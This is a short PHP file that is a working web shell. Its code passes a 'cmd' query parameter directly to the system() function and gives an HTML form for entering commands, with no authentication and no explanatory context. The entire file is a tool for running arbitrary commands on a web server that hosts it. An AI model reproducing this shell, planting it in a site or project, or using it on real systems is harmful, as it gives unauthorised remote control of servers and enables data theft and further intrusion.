<?php
$cmd = $_GET['cmd'];
if (isset($cmd)) {
	system($cmd);
}
?>
<html>
<form method="get">
<input type="text" name="cmd">
<input type="submit" name="submit" value="submit">
</form>
</html>